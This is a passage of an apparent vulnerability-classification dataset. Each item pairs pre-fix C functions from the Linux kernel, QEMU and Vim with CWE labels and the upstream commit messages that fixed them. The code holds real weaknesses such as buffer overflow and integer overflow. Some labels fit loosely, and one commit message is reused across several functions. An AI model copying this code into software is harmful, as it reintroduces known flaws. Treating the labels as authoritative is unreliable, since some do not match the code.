__ip_route_output_key+0x3e8/0xf70\n__mkroute_output ./net/ipv4/route.c:1939\n [] __ip_route_output_key+0x3e8/0xf70 ./net/ipv4/route.c:2161\n [] ip_route_output_flow+0x14/0x30 ./net/ipv4/route.c:2249\n [] ip4_datagram_connect+0x317/0x5d0 ??:0\n [] inet_dgram_connect+0x76/0xd0 ./net/ipv4/af_inet.c:534\n [] SYSC_connect+0x15c/0x1c0 ./net/socket.c:1701\n [] SyS_connect+0xe/0x10 ./net/socket.c:1682\n [] system_call_fastpath+0x16/0x1b\n./arch/x86/kernel/entry_64.S:629\n\n[2]\n<4>[196727.311203] general protection fault: 0000 [#1] SMP\n<4>[196727.311224] Modules linked in: xt_TEE xt_dscp xt_DSCP macvlan bridge coretemp crc32_pclmul ghash_clmulni_intel gpio_ich microcode ipmi_watchdog ipmi_devintf sb_edac edac_core lpc_ich mfd_core tpm_tis tpm tpm_bios ipmi_si ipmi_msghandler isci igb libsas i2c_algo_bit ixgbe ptp pps_core mdio\n<4>[196727.311333] CPU: 17 PID: 0 Comm: swapper/17 Not tainted 3.10.26 #1\n<4>[196727.311344] Hardware name: Supermicro X9DRi-LN4+/X9DR3-LN4+/X9DRi-LN4+/X9DR3-LN4+, BIOS 3.0 07/05/2013\n<4>[196727.311364] task: ffff885e6f069700 ti: ffff885e6f072000 task.ti: ffff885e6f072000\n<4>[196727.311377] RIP: 0010:[] [] ipv4_dst_destroy+0x4f/0x80\n<4>[196727.311399] RSP: 0018:ffff885effd23a70 EFLAGS: 00010282\n<4>[196727.311409] RAX: dead000000200200 RBX: ffff8854c398ecc0 RCX: 0000000000000040\n<4>[196727.311423] RDX: dead000000100100 RSI: dead000000100100 RDI: dead000000200200\n<4>[196727.311437] RBP: ffff885effd23a80 R08: ffffffff815fd9e0 R09: ffff885d5a590800\n<4>[196727.311451] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000\n<4>[196727.311464] R13: ffffffff81c8c280 R14: 0000000000000000 R15: ffff880e85ee16ce\n<4>[196727.311510] FS: 0000000000000000(0000) GS:ffff885effd20000(0000) knlGS:0000000000000000\n<4>[196727.311554] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n<4>[196727.311581] CR2: 00007a46751eb000 CR3: 0000005e65688000 CR4: 00000000000407e0\n<4>[196727.311625] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n<4>[196727.311669] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400\n<4>[196727.311713] Stack:\n<4>[196727.311733] ffff8854c398ecc0 ffff8854c398ecc0 ffff885effd23ab0 ffffffff815b7f42\n<4>[196727.311784] ffff88be6595bc00 ffff8854c398ecc0 0000000000000000 ffff8854c398ecc0\n<4>[196727.311834] ffff885effd23ad0 ffffffff815b86c6 ffff885d5a590800 ffff8816827821c0\n<4>[196727.311885] Call Trace:\n<4>[196727.311907] \n<4>[196727.311912] [] dst_destroy+0x32/0xe0\n<4>[196727.311959] [] dst_release+0x56/0x80\n<4>[196727.311986] [] tcp_v4_do_rcv+0x2a5/0x4a0\n<4>[196727.312013] [] tcp_v4_rcv+0x7da/0x820\n<4>[196727.312041] [] ? ip_rcv_finish+0x360/0x360\n<4>[196727.312070] [] ? nf_hook_slow+0x7d/0x150\n<4>[196727.312097] [] ? ip_rcv_finish+0x360/0x360\n<4>[196727.312125] [] ip_local_deliver_finish+0xb2/0x230\n<4>[196727.312154] [] ip_local_deliver+0x4a/0x90\n<4>[196727.312183] [] ip_rcv_finish+0x119/0x360\n<4>[196727.312212] [] ip_rcv+0x22b/0x340\n<4>[196727.312242] [] ? macvlan_broadcast+0x160/0x160 [macvlan]\n<4>[196727.312275] [] __netif_receive_skb_core+0x512/0x640\n<4>[196727.312308] [] ? kmem_cache_alloc+0x13b/0x150\n<4>[196727.312338] [] __netif_receive_skb+0x21/0x70\n<4>[196727.312368] [] netif_receive_skb+0x31/0xa0\n<4>[196727.312397] [] napi_gro_receive+0xe8/0x140\n<4>[196727.312433] [] ixgbe_poll+0x551/0x11f0 [ixgbe]\n<4>[196727.312463] [] ? ip_rcv+0x22b/0x340\n<4>[196727.312491] [] net_rx_action+0x111/0x210\n<4>[196727.312521] [] ? __netif_receive_skb+0x21/0x70\n<4>[196727.312552] [] __do_softirq+0xd0/0x270\n<4>[196727.312583] [] call_softirq+0x1c/0x30\n<4>[196727.312613] [] do_softirq+0x55/0x90\n<4>[196727.312640] [] irq_exit+0x55/0x60\n<4>[196727.312668] [] do_IRQ+0x63/0xe0\n<4>[196727.312696] [] common_interrupt+0x6a/0x6a\n<4>[196727.312722] \n<1>[196727.313071] RIP [] ipv4_dst_destroy+0x4f/0x80\n<4>[196727.313100] RSP \n<4>[196727.313377] ---[ end trace 64b3f14fae0f2e29 ]---\n<0>[196727.380908] Kernel panic - not syncing: Fatal exception in interrupt\n\nReported-by: Alexey Preobrazhensky \nReported-by: dormando \nSigned-off-by: Eric Dumazet \nFixes: 8141ed9fcedb2 (\"ipv4: Add a socket release callback for datagram sockets\")\nCc: Steffen Klassert \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline void timer_stats_hrtimer_clear_start_info(struct hrtimer *timer)\n{\n#ifdef CONFIG_TIMER_STATS\n\ttimer->start_site = NULL;\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'time: Remove CONFIG_TIMER_STATS\n\nCurrently CONFIG_TIMER_STATS exposes process information across namespaces:\n\nkernel/time/timer_list.c print_timer():\n\n SEQ_printf(m, \", %s/%d\", tmp, timer->start_pid);\n\n/proc/timer_list:\n\n #11: <0000000000000000>, hrtimer_wakeup, S:01, do_nanosleep, cron/2570\n\nGiven that the tracer can give the same information, this patch entirely\nremoves CONFIG_TIMER_STATS.\n\nSuggested-by: Thomas Gleixner \nSigned-off-by: Kees Cook \nAcked-by: John Stultz \nCc: Nicolas Pitre \nCc: linux-doc@vger.kernel.org\nCc: Lai Jiangshan \nCc: Shuah Khan \nCc: Xing Gao \nCc: Jonathan Corbet \nCc: Jessica Frazelle \nCc: kernel-hardening@lists.openwall.com\nCc: Nicolas Iooss \nCc: \"Paul E. McKenney\" \nCc: Petr Mladek \nCc: Richard Cochran \nCc: Tejun Heo \nCc: Michal Marek \nCc: Josh Poimboeuf \nCc: Dmitry Vyukov \nCc: Oleg Nesterov \nCc: \"Eric W. Biederman\" \nCc: Olof Johansson \nCc: Andrew Morton \nCc: linux-api@vger.kernel.org\nCc: Arjan van de Ven \nLink: http://lkml.kernel.org/r/20170208192659.GA32582@beast\nSigned-off-by: Thomas Gleixner '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void expire_timers(struct timer_base *base, struct hlist_head *head)\n{\n\twhile (!hlist_empty(head)) {\n\t\tstruct timer_list *timer;\n\t\tvoid (*fn)(unsigned long);\n\t\tunsigned long data;\n\n\t\ttimer = hlist_entry(head->first, struct timer_list, entry);\n\t\ttimer_stats_account_timer(timer);\n\n\t\tbase->running_timer = timer;\n\t\tdetach_timer(timer, true);\n\n\t\tfn = timer->function;\n\t\tdata = timer->data;\n\n\t\tif (timer->flags & TIMER_IRQSAFE) {\n\t\t\tspin_unlock(&base->lock);\n\t\t\tcall_timer_fn(timer, fn, data);\n\t\t\tspin_lock(&base->lock);\n\t\t} else {\n\t\t\tspin_unlock_irq(&base->lock);\n\t\t\tcall_timer_fn(timer, fn, data);\n\t\t\tspin_lock_irq(&base->lock);\n\t\t}\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'time: Remove CONFIG_TIMER_STATS\n\nCurrently CONFIG_TIMER_STATS exposes process information across namespaces:\n\nkernel/time/timer_list.c print_timer():\n\n SEQ_printf(m, \", %s/%d\", tmp, timer->start_pid);\n\n/proc/timer_list:\n\n #11: <0000000000000000>, hrtimer_wakeup, S:01, do_nanosleep, cron/2570\n\nGiven that the tracer can give the same information, this patch entirely\nremoves CONFIG_TIMER_STATS.\n\nSuggested-by: Thomas Gleixner \nSigned-off-by: Kees Cook \nAcked-by: John Stultz \nCc: Nicolas Pitre \nCc: linux-doc@vger.kernel.org\nCc: Lai Jiangshan \nCc: Shuah Khan \nCc: Xing Gao \nCc: Jonathan Corbet \nCc: Jessica Frazelle \nCc: kernel-hardening@lists.openwall.com\nCc: Nicolas Iooss \nCc: \"Paul E. McKenney\" \nCc: Petr Mladek \nCc: Richard Cochran \nCc: Tejun Heo \nCc: Michal Marek \nCc: Josh Poimboeuf \nCc: Dmitry Vyukov \nCc: Oleg Nesterov \nCc: \"Eric W. Biederman\" \nCc: Olof Johansson \nCc: Andrew Morton \nCc: linux-api@vger.kernel.org\nCc: Arjan van de Ven \nLink: http://lkml.kernel.org/r/20170208192659.GA32582@beast\nSigned-off-by: Thomas Gleixner '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static struct entry *tstat_lookup(struct entry *entry, char *comm)\n{\n\tstruct entry **head, *curr, *prev;\n\n\thead = tstat_hashentry(entry);\n\tcurr = *head;\n\n\t/*\n\t * The fastpath is when the entry is already hashed,\n\t * we do this with the lookup lock held, but with the\n\t * table lock not held:\n\t */\n\twhile (curr) {\n\t\tif (match_entries(curr, entry))\n\t\t\treturn curr;\n\n\t\tcurr = curr->next;\n\t}\n\t/*\n\t * Slowpath: allocate, set up and link a new hash entry:\n\t */\n\tprev = NULL;\n\tcurr = *head;\n\n\traw_spin_lock(&table_lock);\n\t/*\n\t * Make sure we have not raced with another CPU:\n\t */\n\twhile (curr) {\n\t\tif (match_entries(curr, entry))\n\t\t\tgoto out_unlock;\n\n\t\tprev = curr;\n\t\tcurr = curr->next;\n\t}\n\n\tcurr = alloc_entry();\n\tif (curr) {\n\t\t*curr = *entry;\n\t\tcurr->count = 0;\n\t\tcurr->next = NULL;\n\t\tmemcpy(curr->comm, comm, TASK_COMM_LEN);\n\n\t\tsmp_mb(); /* Ensure that curr is initialized before insert */\n\n\t\tif (prev)\n\t\t\tprev->next = curr;\n\t\telse\n\t\t\t*head = curr;\n\t}\n out_unlock:\n\traw_spin_unlock(&table_lock);\n\n\treturn curr;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'time: Remove CONFIG_TIMER_STATS\n\nCurrently CONFIG_TIMER_STATS exposes process information across namespaces:\n\nkernel/time/timer_list.c print_timer():\n\n SEQ_printf(m, \", %s/%d\", tmp, timer->start_pid);\n\n/proc/timer_list:\n\n #11: <0000000000000000>, hrtimer_wakeup, S:01, do_nanosleep, cron/2570\n\nGiven that the tracer can give the same information, this patch entirely\nremoves CONFIG_TIMER_STATS.\n\nSuggested-by: Thomas Gleixner \nSigned-off-by: Kees Cook \nAcked-by: John Stultz \nCc: Nicolas Pitre \nCc: linux-doc@vger.kernel.org\nCc: Lai Jiangshan \nCc: Shuah Khan \nCc: Xing Gao \nCc: Jonathan Corbet \nCc: Jessica Frazelle \nCc: kernel-hardening@lists.openwall.com\nCc: Nicolas Iooss \nCc: \"Paul E. McKenney\" \nCc: Petr Mladek \nCc: Richard Cochran \nCc: Tejun Heo \nCc: Michal Marek \nCc: Josh Poimboeuf \nCc: Dmitry Vyukov \nCc: Oleg Nesterov \nCc: \"Eric W. Biederman\" \nCc: Olof Johansson \nCc: Andrew Morton \nCc: linux-api@vger.kernel.org\nCc: Arjan van de Ven \nLink: http://lkml.kernel.org/r/20170208192659.GA32582@beast\nSigned-off-by: Thomas Gleixner '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int del_timer(struct timer_list *timer)\n{\n\tstruct timer_base *base;\n\tunsigned long flags;\n\tint ret = 0;\n\n\tdebug_assert_init(timer);\n\n\ttimer_stats_timer_clear_start_info(timer);\n\tif (timer_pending(timer)) {\n\t\tbase = lock_timer_base(timer, &flags);\n\t\tret = detach_if_pending(timer, base, true);\n\t\tspin_unlock_irqrestore(&base->lock, flags);\n\t}\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'time: Remove CONFIG_TIMER_STATS\n\nCurrently CONFIG_TIMER_STATS exposes process information across namespaces:\n\nkernel/time/timer_list.c print_timer():\n\n SEQ_printf(m, \", %s/%d\", tmp, timer->start_pid);\n\n/proc/timer_list:\n\n #11: <0000000000000000>, hrtimer_wakeup, S:01, do_nanosleep, cron/2570\n\nGiven that the tracer can give the same information, this patch entirely\nremoves CONFIG_TIMER_STATS.\n\nSuggested-by: Thomas Gleixner \nSigned-off-by: Kees Cook \nAcked-by: John Stultz \nCc: Nicolas Pitre \nCc: linux-doc@vger.kernel.org\nCc: Lai Jiangshan \nCc: Shuah Khan \nCc: Xing Gao \nCc: Jonathan Corbet \nCc: Jessica Frazelle \nCc: kernel-hardening@lists.openwall.com\nCc: Nicolas Iooss \nCc: \"Paul E. McKenney\" \nCc: Petr Mladek \nCc: Richard Cochran \nCc: Tejun Heo \nCc: Michal Marek \nCc: Josh Poimboeuf \nCc: Dmitry Vyukov \nCc: Oleg Nesterov \nCc: \"Eric W. Biederman\" \nCc: Olof Johansson \nCc: Andrew Morton \nCc: linux-api@vger.kernel.org\nCc: Arjan van de Ven \nLink: http://lkml.kernel.org/r/20170208192659.GA32582@beast\nSigned-off-by: Thomas Gleixner '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int parse_line(char *str)\n{\n\tuint8_t array[256];\n\tuint16_t value, pskey, length = 0;\n\tchar *off, *end;\n\n\tpskey = strtol(str + 1, NULL, 16);\n\toff = strstr(str, \"=\");\n\tif (!off)\n\t\treturn -EIO;\n\n\toff++;\n\n\twhile (1) {\n\t\tvalue = strtol(off, &end, 16);\n\t\tif (value == 0 && off == end)\n\t\t\tbreak;\n\n\t\tarray[length++] = value & 0xff;\n\t\tarray[length++] = value >> 8;\n\n\t\tif (*end == '\\0')\n\t\t\tbreak;\n\n\t\toff = end + 1;\n\t}\n\n\treturn psr_put(pskey, array, length);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'tools/csr: Fix possible buffer overflow\n\nMake sure we don't write past the end of the array.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void vnc_convert_pixel(VncState *vs, uint8_t *buf, uint32_t v)\n{\n uint8_t r, g, b;\n VncDisplay *vd = vs->vd;\n\n r = ((((v & vd->server->pf.rmask) >> vd->server->pf.rshift) << vs->clientds.pf.rbits) >>\n vd->server->pf.rbits);\n g = ((((v & vd->server->pf.gmask) >> vd->server->pf.gshift) << vs->clientds.pf.gbits) >>\n vd->server->pf.gbits);\n b = ((((v & vd->server->pf.bmask) >> vd->server->pf.bshift) << vs->clientds.pf.bbits) >>\n vd->server->pf.bbits);\n v = (r << vs->clientds.pf.rshift) |\n (g << vs->clientds.pf.gshift) |\n (b << vs->clientds.pf.bshift);\n switch(vs->clientds.pf.bytes_per_pixel) {\n case 1:\n buf[0] = v;\n break;\n case 2:\n if (vs->clientds.flags & QEMU_BIG_ENDIAN_FLAG) {\n buf[0] = v >> 8;\n buf[1] = v;\n } else {\n buf[1] = v >> 8;\n buf[0] = v;\n }\n break;\n default:\n case 4:\n if (vs->clientds.flags & QEMU_BIG_ENDIAN_FLAG) {\n buf[0] = v >> 24;\n buf[1] = v >> 16;\n buf[2] = v >> 8;\n buf[3] = v;\n } else {\n buf[3] = v >> 24;\n buf[2] = v >> 16;\n buf[1] = v >> 8;\n buf[0] = v;\n }\n break;\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'pixman/vnc: use pixman images in vnc.\n\nThe vnc code uses *three* DisplaySurfaces:\n\nFirst is the surface of the actual QemuConsole, usually the guest\nscreen, but could also be a text console (monitor/serial reachable via\nCtrl-Alt- keys). This is left as-is.\n\nSecond is the current server's view of the screen content. The vnc code\nuses this to figure which parts of the guest screen did _really_ change\nto reduce the amount of updates sent to the vnc clients. It is also\nused as data source when sending out the updates to the clients. This\nsurface gets replaced by a pixman image. The format changes too,\ninstead of using the guest screen format we'll use fixed 32bit rgb\nframebuffer and convert the pixels on the fly when comparing and\nupdating the server framebuffer.\n\nThird surface carries the format expected by the vnc client. That isn't\nused to store image data. This surface is switched to PixelFormat and a\nboolean for bigendian byte order.\n\nSigned-off-by: Gerd Hoffmann '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: tight_filter_gradient24(VncState *vs, uint8_t *buf, int w, int h)\n{\n uint32_t *buf32;\n uint32_t pix32;\n int shift[3];\n int *prev;\n int here[3], upper[3], left[3], upperleft[3];\n int prediction;\n int x, y, c;\n\n buf32 = (uint32_t *)buf;\n memset(vs->tight.gradient.buffer, 0, w * 3 * sizeof(int));\n\n if ((vs->clientds.flags & QEMU_BIG_ENDIAN_FLAG) ==\n (vs->ds->surface->flags & QEMU_BIG_ENDIAN_FLAG)) {\n shift[0] = vs->clientds.pf.rshift;\n shift[1] = vs->clientds.pf.gshift;\n shift[2] = vs->clientds.pf.bshift;\n } else {\n shift[0] = 24 - vs->clientds.pf.rshift;\n shift[1] = 24 - vs->clientds.pf.gshift;\n shift[2] = 24 - vs->clientds.pf.bshift;\n }\n\n for (y = 0; y < h; y++) {\n for (c = 0; c < 3; c++) {\n upper[c] = 0;\n here[c] = 0;\n }\n prev = (int *)vs->tight.gradient.buffer;\n for (x = 0; x < w; x++) {\n pix32 = *buf32++;\n for (c = 0; c < 3; c++) {\n upperleft[c] = upper[c];\n left[c] = here[c];\n upper[c] = *prev;\n here[c] = (int)(pix32 >> shift[c] & 0xFF);\n *prev++ = here[c];\n\n prediction = left[c] + upper[c] - upperleft[c];\n if (prediction < 0) {\n prediction = 0;\n } else if (prediction > 0xFF) {\n prediction = 0xFF;\n }\n *buf++ = (char)(here[c] - prediction);\n }\n }\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'pixman/vnc: use pixman images in vnc.\n\nThe vnc code uses *three* DisplaySurfaces:\n\nFirst is the surface of the actual QemuConsole, usually the guest\nscreen, but could also be a text console (monitor/serial reachable via\nCtrl-Alt- keys). This is left as-is.\n\nSecond is the current server's view of the screen content. The vnc code\nuses this to figure which parts of the guest screen did _really_ change\nto reduce the amount of updates sent to the vnc clients. It is also\nused as data source when sending out the updates to the clients. This\nsurface gets replaced by a pixman image. The format changes too,\ninstead of using the guest screen format we'll use fixed 32bit rgb\nframebuffer and convert the pixels on the fly when comparing and\nupdating the server framebuffer.\n\nThird surface carries the format expected by the vnc client. That isn't\nused to store image data. This surface is switched to PixelFormat and a\nboolean for bigendian byte order.\n\nSigned-off-by: Gerd Hoffmann '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int send_palette_rect(VncState *vs, int x, int y,\n int w, int h, VncPalette *palette)\n{\n int stream = 2;\n int level = tight_conf[vs->tight.compression].idx_zlib_level;\n int colors;\n ssize_t bytes;\n\n#ifdef CONFIG_VNC_PNG\n if (tight_can_send_png_rect(vs, w, h)) {\n return send_png_rect(vs, x, y, w, h, palette);\n }\n#endif\n\n colors = palette_size(palette);\n\n vnc_write_u8(vs, (stream | VNC_TIGHT_EXPLICIT_FILTER) << 4);\n vnc_write_u8(vs, VNC_TIGHT_FILTER_PALETTE);\n vnc_write_u8(vs, colors - 1);\n\n switch(vs->clientds.pf.bytes_per_pixel) {\n case 4:\n {\n size_t old_offset, offset;\n uint32_t header[palette_size(palette)];\n struct palette_cb_priv priv = { vs, (uint8_t *)header };\n\n old_offset = vs->output.offset;\n palette_iter(palette, write_palette, &priv);\n vnc_write(vs, header, sizeof(header));\n\n if (vs->tight.pixel24) {\n tight_pack24(vs, vs->output.buffer + old_offset, colors, &offset);\n vs->output.offset = old_offset + offset;\n }\n\n tight_encode_indexed_rect32(vs->tight.tight.buffer, w * h, palette);\n break;\n }\n case 2:\n {\n uint16_t header[palette_size(palette)];\n struct palette_cb_priv priv = { vs, (uint8_t *)header };\n\n palette_iter(palette, write_palette, &priv);\n vnc_write(vs, header, sizeof(header));\n tight_encode_indexed_rect16(vs->tight.tight.buffer, w * h, palette);\n break;\n }\n default:\n return -1; /* No palette for 8bits colors */\n break;\n }\n bytes = w * h;\n vs->tight.tight.offset = bytes;\n\n bytes = tight_compress_data(vs, stream, bytes,\n level, Z_DEFAULT_STRATEGY);\n return (bytes >= 0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'pixman/vnc: use pixman images in vnc.\n\nThe vnc code uses *three* DisplaySurfaces:\n\nFirst is the surface of the actual QemuConsole, usually the guest\nscreen, but could also be a text console (monitor/serial reachable via\nCtrl-Alt- keys). This is left as-is.\n\nSecond is the current server's view of the screen content. The vnc code\nuses this to figure which parts of the guest screen did _really_ change\nto reduce the amount of updates sent to the vnc clients. It is also\nused as data source when sending out the updates to the clients. This\nsurface gets replaced by a pixman image. The format changes too,\ninstead of using the guest screen format we'll use fixed 32bit rgb\nframebuffer and convert the pixels on the fly when comparing and\nupdating the server framebuffer.\n\nThird surface carries the format expected by the vnc client. That isn't\nused to store image data. This surface is switched to PixelFormat and a\nboolean for bigendian byte order.\n\nSigned-off-by: Gerd Hoffmann '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int vnc_raw_send_framebuffer_update(VncState *vs, int x, int y, int w, int h)\n{\n int i;\n uint8_t *row;\n VncDisplay *vd = vs->vd;\n\n row = vd->server->data + y * ds_get_linesize(vs->ds) + x * ds_get_bytes_per_pixel(vs->ds);\n for (i = 0; i < h; i++) {\n vs->write_pixels(vs, &vd->server->pf, row, w * ds_get_bytes_per_pixel(vs->ds));\n row += ds_get_linesize(vs->ds);\n }\n return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'pixman/vnc: use pixman images in vnc.\n\nThe vnc code uses *three* DisplaySurfaces:\n\nFirst is the surface of the actual QemuConsole, usually the guest\nscreen, but could also be a text console (monitor/serial reachable via\nCtrl-Alt- keys). This is left as-is.\n\nSecond is the current server's view of the screen content. The vnc code\nuses this to figure which parts of the guest screen did _really_ change\nto reduce the amount of updates sent to the vnc clients. It is also\nused as data source when sending out the updates to the clients. This\nsurface gets replaced by a pixman image. The format changes too,\ninstead of using the guest screen format we'll use fixed 32bit rgb\nframebuffer and convert the pixels on the fly when comparing and\nupdating the server framebuffer.\n\nThird surface carries the format expected by the vnc client. That isn't\nused to store image data. This surface is switched to PixelFormat and a\nboolean for bigendian byte order.\n\nSigned-off-by: Gerd Hoffmann '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: unserialize_uep(bufinfo_T *bi, int *error, char_u *file_name)\n{\n int\t\ti;\n u_entry_T\t*uep;\n char_u\t**array;\n char_u\t*line;\n int\t\tline_len;\n\n uep = (u_entry_T *)U_ALLOC_LINE(sizeof(u_entry_T));\n if (uep == NULL)\n\treturn NULL;\n vim_memset(uep, 0, sizeof(u_entry_T));\n#ifdef U_DEBUG\n uep->ue_magic = UE_MAGIC;\n#endif\n uep->ue_top = undo_read_4c(bi);\n uep->ue_bot = undo_read_4c(bi);\n uep->ue_lcount = undo_read_4c(bi);\n uep->ue_size = undo_read_4c(bi);\n if (uep->ue_size > 0)\n {\n\tarray = (char_u **)U_ALLOC_LINE(sizeof(char_u *) * uep->ue_size);\n\tif (array == NULL)\n\t{\n\t *error = TRUE;\n\t return uep;\n\t}\n\tvim_memset(array, 0, sizeof(char_u *) * uep->ue_size);\n }\n else\n\tarray = NULL;\n uep->ue_array = array;\n\n for (i = 0; i < uep->ue_size; ++i)\n {\n\tline_len = undo_read_4c(bi);\n\tif (line_len >= 0)\n\t line = read_string_decrypt(bi, line_len);\n\telse\n\t{\n\t line = NULL;\n\t corruption_error(\"line length\", file_name);\n\t}\n\tif (line == NULL)\n\t{\n\t *error = TRUE;\n\t return uep;\n\t}\n\tarray[i] = line;\n }\n return uep;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'patch 8.0.0378: possible overflow when reading corrupted undo file\n\nProblem: Another possible overflow when reading corrupted undo file.\nSolution: Check if allocated size is not too big. (King)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: struct key *request_key_and_link(struct key_type *type,\n\t\t\t\t const char *description,\n\t\t\t\t const void *callout_info,\n\t\t\t\t size_t callout_len,\n\t\t\t\t void *aux,\n\t\t\t\t struct key *dest_keyring,\n\t\t\t\t unsigned long flags)\n{\n\tstruct keyring_search_context ctx = {\n\t\t.index_key.type\t\t= type,\n\t\t.index_key.description\t= description,\n\t\t.cred\t\t\t= current_cred(),\n\t\t.match_data.cmp\t\t= type->match,\n\t\t.match_data.raw_data\t= description,\n\t\t.match_data.lookup_type\t= KEYRING_SEARCH_LOOKUP_DIRECT,\n\t};\n\tstruct key *key;\n\tkey_ref_t key_ref;\n\tint ret;\n\n\tkenter(\"%s,%s,%p,%zu,%p,%p,%lx\",\n\t ctx.index_key.type->name, ctx.index_key.description,\n\t callout_info, callout_len, aux, dest_keyring, flags);\n\n\tif (type->match_preparse) {\n\t\tret = type->match_preparse(&ctx.match_data);\n\t\tif (ret < 0) {\n\t\t\tkey = ERR_PTR(ret);\n\t\t\tgoto error;\n\t\t}\n\t}\n\n\t/* search all the process keyrings for a key */\n\tkey_ref = search_process_keyrings(&ctx);\n\n\tif (!IS_ERR(key_ref)) {\n\t\tkey = key_ref_to_ptr(key_ref);\n\t\tif (dest_keyring) {\n\t\t\tconstruct_get_dest_keyring(&dest_keyring);\n\t\t\tret = key_link(dest_keyring, key);\n\t\t\tkey_put(dest_keyring);\n\t\t\tif (ret < 0) {\n\t\t\t\tkey_put(key);\n\t\t\t\tkey = ERR_PTR(ret);\n\t\t\t\tgoto error_free;\n\t\t\t}\n\t\t}\n\t} else if (PTR_ERR(key_ref) != -EAGAIN) {\n\t\tkey = ERR_CAST(key_ref);\n\t} else {\n\t\t/* the search failed, but the keyrings were searchable, so we\n\t\t * should consult userspace if we can */\n\t\tkey = ERR_PTR(-ENOKEY);\n\t\tif (!callout_info)\n\t\t\tgoto error_free;\n\n\t\tkey = construct_key_and_link(&ctx, callout_info, callout_len,\n\t\t\t\t\t aux, dest_keyring, flags);\n\t}\n\nerror_free:\n\tif (type->match_free)\n\t\ttype->match_free(&ctx.match_data);\nerror:\n\tkleave(\" = %p\", key);\n\treturn key;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'KEYS: Remove key_type::match in favour of overriding default by match_preparse\n\nA previous patch added a ->match_preparse() method to the key type. This is\nallowed to override the function called by the iteration algorithm.\nTherefore, we can just set a default that simply checks for an exact match of\nthe key description with the original criterion data and allow match_preparse\nto override it as needed.\n\nThe key_type::match op is then redundant and can be removed, as can the\nuser_match() function.\n\nSigned-off-by: David Howells \nAcked-by: Vivek Goyal '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int fanout_add(struct sock *sk, u16 id, u16 type_flags)\n{\n\tstruct packet_sock *po = pkt_sk(sk);\n\tstruct packet_fanout *f, *match;\n\tu8 type = type_flags & 0xff;\n\tu8 flags = type_flags >> 8;\n\tint err;\n\n\tswitch (type) {\n\tcase PACKET_FANOUT_ROLLOVER:\n\t\tif (type_flags & PACKET_FANOUT_FLAG_ROLLOVER)\n\t\t\treturn -EINVAL;\n\tcase PACKET_FANOUT_HASH:\n\tcase PACKET_FANOUT_LB:\n\tcase PACKET_FANOUT_CPU:\n\tcase PACKET_FANOUT_RND:\n\tcase PACKET_FANOUT_QM:\n\tcase PACKET_FANOUT_CBPF:\n\tcase 